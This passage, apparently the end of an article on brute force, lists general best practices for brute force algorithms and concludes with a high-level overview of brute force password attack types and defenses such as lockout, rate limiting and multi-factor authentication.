    1. Use Brute Force as a Last Resort: Before resorting to brute force, explore other more efficient algorithms that may be better suited to the problem you are trying to solve. Brute force algorithms can be slow and resource-intensive, so it’s important to consider alternative solutions first.
    2. Limit the Problem Space: Reduce the size of the problem space by eliminating redundant or invalid solutions using techniques such as pruning or heuristics. This can help to reduce the time and resources needed to find a solution.
    3. Use Memoization: Store the results of previous calculations to avoid having to recalculate them in the future. This can help to reduce the number of calculations needed and speed up the overall algorithm.
    4. Use Parallel Processing: Divide the problem into smaller sub-problems and process them simultaneously using multiple processors or threads. This can help to speed up the overall algorithm and reduce the time needed to find a solution.
    5. Use High-Performance Computing Resources: If the problem space is too large to be processed efficiently on a single machine, consider using high-performance computing resources such as clusters or cloud-based services.
    6. Respect Security and Privacy: Ensure that the use of brute force algorithms respects security and privacy concerns. For example, brute force password cracking should only be used with permission from the system owner and within legal and ethical boundaries.

    By following these best practices, you can use brute force algorithms effectively and responsibly, while minimizing any potential negative impacts.

    Conclusion

    In conclusion, brute force attacks are a common method used by attackers to gain unauthorized access to systems and applications. Brute force attacks involve systematically trying all possible combinations of usernames and passwords until the correct combination is found.

    There are many different types of brute force attacks, including dictionary attacks, hybrid attacks, and rainbow table attacks. Each type of attack has its own strengths and weaknesses, and the specific type of attack used will depend on the characteristics of the password or passphrase being targeted.

    To defend against brute force attacks, it’s important to implement strong password policies, including requiring complex passwords and enforcing regular password changes. Other defenses may include implementing account lockout policies, rate limiting, and multi-factor authentication.